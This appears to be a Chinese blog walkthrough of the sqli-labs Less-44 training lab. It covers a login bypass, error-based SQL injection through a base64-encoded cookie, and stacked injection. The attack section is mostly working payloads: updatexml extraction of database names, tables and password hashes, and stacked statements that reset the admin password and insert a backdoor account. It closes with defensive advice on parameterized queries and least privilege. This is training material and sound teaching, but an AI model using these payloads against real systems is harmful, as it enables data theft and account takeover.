ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

sqli-labs Less-44实战:从Cookie报错注入到堆叠注入

sqli-labs Less-44实战:从Cookie报错注入到堆叠注入

我第一次做sqli-labs-Less-44时,先在登录框里折腾了十几分钟,以为这只是Less-42的换皮关卡。直到某次登录成功后顺手改了返回包里的Cookie,页面直接吐出一行SQL语法错误,我才意识到:这道题真正考的是把POST型堆叠注入和基于Cookie的错误型注入藏在一个会话机制里。如果你刷靶场刷到这一关卡住了,或者从来没想过“Cookie本身也能变成注入通道”,这篇笔记应该能帮你少踩一些坑。文章里的所有payload我都基于本地靶机实测过,环境是sqli-labs自带的MySQL,如果你用的版本或库结构有差异,报错信息里的库名、表名可能会有出入,但思路是通用的。

1. 先弄清楚:Less-44到底在考什么

1.1 和Less-42的孪生关系

sqli-labs从Less-38开始就进入了堆叠注入专区,前面几关分别是GET型堆叠、盲注型堆叠,到了Less-42和Less-44这两关,都是POST型登录表单里的堆叠注入。很多人在做Less-44时习惯性先看登录框,在用户名、密码里试一遍Less-42的payload,发现也能绕过登录,就以为这道题结束了。

其实Less-44和Less-42最大的区别藏在登录成功之后的逻辑里。Less-42登录成功后直接展示结果,没有额外的跳转和Cookie处理;Less-44登录成功后,服务端会把用户名做一次base64编码,写进一个名为uname的Cookie,然后页面再靠这个Cookie继续查库、回显用户名。注入点于是从“表单参数”悄悄挪到了“Cookie值”上,而核心过滤规则大多只清洗了POST参数,根本没管Cookie。

所以做题的正确顺序不是先测表单注入,而是先测表单能否被绕过、拿到一个合法的会话Cookie,再回过头修改Cookie里的值触发注入。这个弯如果没绕过来,你会觉得这一关怎么试都只有“Login failed”,完全找不到入口。

1.2 为什么注入点会在Cookie里

为了把这件事讲清楚,我简化成下面这段伪代码,逻辑和靶场源码基本一致:

// 登录成功后 $username = $_POST['login_user']; setcookie("uname", base64_encode($username), time() + 3600); // 跳转后的页面 $cookie = $_COOKIE['uname']; $username = base64_decode($cookie); $sql = "SELECT * FROM users WHERE username='$username'"; $result = mysqli_multi_query($con, $sql);

注意两个关键点:第一,页面拿到Cookie后直接拼SQL,没有任何参数化处理;第二,查询用的是multi_query而不是普通query,这为后面的堆叠注入留下了空间。你能控制的不仅仅是表单,还包括Cookie,Cookie经base64解码后原封不动进了SQL语句,报错信息又直接回显到页面上。

我当时的判断方法很简单:用Burp抓登录成功后的响应包,只要看到Set-Cookie里有uname,并且值像一串base64,基本就能断定这一关的主要攻击面在Cookie。接下来要做的第一件事不是急着注入,而是把登录绕过去。

2. 第一步:绕过登录,先把会话拿到手

2.1 登录框的注入判断

Less-44登录框的SQL语句从逻辑上看是:

SELECT * FROM users WHERE username='$username' AND password='$password'

常见的判断方法是先随便填一组用户名密码,看页面有没有报错。如果页面返回“Login failed”,说明登录校验失败,SQL本身可能已经执行了。我习惯用下面这些payload逐次测试:

用户名密码预期结果
admin' or '1'='1随便登录成功
admin' or 1=1#随便登录成功
admin'--+随便登录成功(注意MySQL注释需要空格)
admin' or '1'='1'-- -随便登录成功

在Less-44里最稳的是admin' or '1'='1#,原因是最后的SQL会变成:

SELECT * FROM users WHERE username='admin' or '1'='1#' AND password='...'

#把后面的部分全部注释掉,条件恒真,于是拿到登录态。如果你在测试中发现#被过滤或转义,可以试试URL编码后的%23,或者用--+配合后面的空格。Less-44的登录框本身也存在注入,但后面真正的重头戏不在表单,所以这里能绕过即可,不必追求用报错注入一步到位。

2.2 登录成功后的Cookie形态

绕过登录之后,不要急着关掉Burp或浏览器,先看一下响应包里的Set-Cookie字段。以我的环境为例,登录成功后响应头里会出现类似这样的内容:

HTTP/1.1 200 OK Set-Cookie: uname=YWRtaW4%3D; path=/

YWRtaW4%3D就是admin的base64编码,解码后是admin。这一步的意义在于,靶场把用户名base64编码后写进Cookie,然后在下一页读取Cookie做查询。也就是说,你修改Cookie里的uname值,实际上就是修改了下一页要执行的SQL语句中的可控字符串。

两种修改Cookie的方式都行:

  • 在Burp里抓到请求,直接替换Cookie头再重放;
  • 在浏览器开发者工具的Application面板里找到uname,改完再刷新页面。

我建议第一次学的时候用Burp重放,这样能同时观察响应头、请求头和页面回显的变化,排查问题也更方便。无论用哪种方式,Cookie值都要遵守“先base64,再URL编码特殊字符”的规则,因为部署在HTTP头里的base64字符串如果含+、/、=,很可能被解析异常。

3. 从Cookie进去:报错注入把数据拖出来

3.1 修改Cookie前的编码流程

Less-44最大的坑就在这一步:你直接在Cookie里写明文SQL,一点反应都没有。原因是服务端先对Cookie值做base64解码,再拼进SQL,所以必须先把整段payload做base64编码。编码之后还要处理URL保留字符。

我一般用下面的命令快速转换:

echo -n "admin' and updatexml(1,concat(0x7e,database(),0x7e),1)#" | base64

如果是在Windows环境,也可以用Python:

import base64 payload = "admin' and updatexml(1,concat(0x7e,database(),0x7e),1)#" print(base64.b64encode(payload.encode()).decode())

转换之后,把得到的base64字符串替换掉uname的值。注意base64结果里的=在Cookie头里最好URL编码成%3D,+编码成%2B,/编码成%2F,否则客户端或服务端解析时可能截断。这是整个关卡最容易翻车的地方,我见过不止一次有人在这卡了半小时,原因只是Cookie里有个裸=。

3.2 用updatexml验证注入点

这段payload是报错注入里最好用的一组:

admin' and updatexml(1,concat(0x7e,database(),0x7e),1)#

对整段做base64编码后,替换Cookie再刷新页面,页面报错区域会出现类似下面的内容:

XPATH syntax error: '~security~'

~security~就是当前数据库名,~符号是我故意加上的边界标记。updatexml报错时只显示约32个字符,用~包裹结果字符串,能防止结果为空时看不出输出了什么东西。同理也可以用extractvalue函数:

admin' and extractvalue(1,concat(0x7e,database(),0x7e))#

两种函数都可以,我实际测试中updatexml更稳定。如果当前数据库用户权限不够,报错里会出现“Permission denied”之类的提示,这时候需要先查当前用户,再决定用哪种方式读取数据。

3.3 查库名、表名、列名和数据

拿到数据库名之后,后面的步骤就是标准的information_schema信息收集。下面是常用payload,实际使用时统一先base64再URL编码:

目的明文payload
当前数据库admin' and updatexml(1,concat(0x7e,database(),0x7e),1)#
所有数据库admin' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)#
当前库所有表admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
users表所有列admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)#
第一条数据admin' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)#

用group_concat拉取表名和列名时,如果内容太多,会超过updatexml的32字符显示限制,报错信息会被截断。我遇到这种情况时一般改用limit逐条读取,或者配合substr分段。

比如要精确取users表里admin用户的密码,先用length确认长度:

admin' and updatexml(1,concat(0x7e,(select length(password) from users where username='admin'),0x7e),1)#

看到长度之后,分段截取:

admin' and updatexml(1,concat(0x7e,substr((select password from users where username='admin'),1,15),0x7e),1)# admin' and updatexml(1,concat(0x7e,substr((select password from users where username='admin'),16,30),0x7e),1)#

这样每一段都在32字符限制内,结果清晰可读。分段的边界建议多留几个字符重叠,防止刚好在边界处丢失拼接内容。

4. 堆叠注入的真正威力:不只读,还能改

4.1 为什么这一关能做到堆叠注入

Less-44的查询语句走的是multi_query,这一下就把堆叠注入变成了现实。很多初学者分不清“联合注入”和“堆叠注入”的区别,我做个对比:

类型原理能力
联合注入通过union关键字把两条select结果合并只能查,受前后字段数量限制
堆叠注入通过分号结束当前语句,直接执行下一条SQL可以增删改查,几乎不受字段数量限制

堆叠注入能成立的前提是后端不仅执行第一条SQL,还会继续执行分号后面的语句。在真实环境里,并不是所有数据库连接都支持多语句执行,所以防护方只要用预编译加单语句执行,堆叠注入基本就废了。但在Less-44这个环境里,multi_query的存在让update、insert、delete甚至drop都能直接执行。

4.2 实例演示:修改admin密码

这一节的目标很直接:把admin的密码改成666,然后重新登录。

明文payload:

admin'; update users set password='666' where username='admin';#

先base64整段编码,再替换Cookie里的uname,刷新页面。服务端执行第一条select时没有报错,紧接着第二条update就悄悄改了users表。回到登录页,用户名填admin,密码填666,就能登录成功,说明修改生效。

这里有几个细节要留意:第一,payload里的单引号属于SQL语句本身,base64编码时不用特殊处理,编码后和其他内容一起进入Cookie;第二,注释符#放在最后,用来终结被注释掉的多余内容;第三,如果update执行后页面还是显示原来的内容,多半是Cookie里的URL编码出了问题,分号被吃掉了。

4.3 实例演示:插入一个全新用户

改密码只是开胃菜,堆叠注入真正危险的地方在于可以写数据。我实测的插入payload:

admin'; insert into users(id,username,password) values (15,'tester','888');#

替换Cookie后刷新页面,再用tester/888尝试登录,如果登录成功,说明users表里已经多了一个新账户。这个思路放到真实场景中,就是攻击者给自己种后门账号,所以安全评估中一旦确认堆叠注入,危害评级基本都是最高的。

如果遇到插不进去的情况,优先检查users表的id是否自增、是否有唯一键约束。靶场默认的表结构比较简单,手动指定id即可。

4.4 真实场景里的危害链

谈到危害,很多人觉得“能查库就是注入成功”,其实堆叠注入带来的是一整套权限放大路径。在真实业务系统里,即使当前数据库账号只有select权限,一旦应用层的账号是超级权限,堆叠注入配合high-privilege就能做到很多事:重置任意用户密码、写入代理登录票据、修改业务表里的余额或状态、批量删除数据。而且在Cookie这种隐蔽位置触发时,常规WAF如果只看表单参数,会直接漏掉这个攻击面。

我做安全评估时碰到过一个案例:某后台的登录态保存在base64编码的Cookie里,服务端解码后直接拼SQL做用户信息展示,表单和URL都做了过滤,偏偏漏了Cookie字段。测试人员用类似Less-44的改Cookie手法,一次就拿到了管理员的密码哈希。所以Less-44不仅是做题,它其实在提醒所有做防护的人:客户端能控制的每一条输入,都要当成恶意输入来处理。

5. 实战踩坑清单与防御复盘

5.1 五个高频坑,我全踩过

第一坑,修改Cookie后页面纹丝不动。原因几乎都是没有对payload做base64编码,或者做了编码但没有做URL编码处理。记住顺序是“明文payload -> base64 -> 特殊字符URL编码 -> 替换Cookie值”。

第二坑,报错信息总是被截断。updatexml和extractvalue都有约32字符的显示限制,拖长数据时要么用substr分段,要么用limit逐条取,不要试图一次拉完。

第三坑,登录始终失败。如果#被转义或过滤,换成%23,或者用--加空格(MySQL的--后面必须跟空格或控制字符才能当注释符),也可以尝试--+。

第四坑,堆叠语句执行了但没有效果。检查分号是不是在URL编码阶段被替换成%3B后又被服务端解析异常,或者确认后端是不是真的用了multi_query。简单办法是先用一个最简单的时间盲注或update测试,确认多语句通道真的通。

第五坑,请求正常但页面500。多数是Cookie中的+、/、=没有做URL编码,HTTP头解析时把值切断了。用浏览器开发者工具编辑Cookie时也要注意最终发送的值是否完整。

我把这五个坑整理成一张排查表,方便你对照:

现象原因解法
修改Cookie无反应没做base64编码先base64再URL编码
报错内容不全32字符截断substr分片或limit逐条
登录一直失败注释符失效换%23或--+
堆叠语句不生效分号被编码/后端非multi_query检查编码,验证连接模式
页面500Cookie特殊字符未编码+ / = 都要URL编码

5.2 从Less-44反推,服务端到底该怎么防

最核心的一条:任何SQL语句都必须用参数化查询,也就是prepared statement,用户输入不管来自表单、URL还是Cookie,一律只能作为参数绑定,绝对不能拼接进SQL字符串。Less-44的教训在于,开发人员可能对POST参数做了过滤,却忽略了对Cookie内容的清洗,这种认知盲区在真实系统里非常普遍。

其次是数据库账号的权限控制。应用连接数据库的账号,如果只是为了展示数据,就不该有update、insert、delete权限。即便攻击者通过注入拿到了库名表名,也只能读,不能写,危害会小很多。

还有一点容易被忽视:像Cookie里存储用户名这类字段,尽量避免存储可解码的敏感信息。如果非要存,也应该做签名或使用SessionID,由服务端维护状态,而不是把用户可控制的明文写进客户端,再在服务端让它参与数据库查询。

最后是安全测试的视角。做Web漏洞扫描时,不要只盯着URL参数和表单字段,Cookie、请求头、JSON体、multipart字段都要纳入测试范围。Less-44整个关卡的设计思路就说明了这一点:真正危险的入口有时候藏在派对门口的一副墨镜后面,表面看起来人畜无害。

隔了段时间再回头看Less-44,我的感受是:它不算一道多复杂的题,但把“客户端可控数据”和“服务端不信任输入”这两件事讲得明明白白。以后再见到任何base64解码后直接参与业务逻辑的字段,我都会先条件反射地想一想——这个值如果被改掉,后端会怎么做?毕竟Cookie也好、请求头也好,本质上都是不可信输入,只不过有时候它们穿了一层看起来挺正常的base64外套而已。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进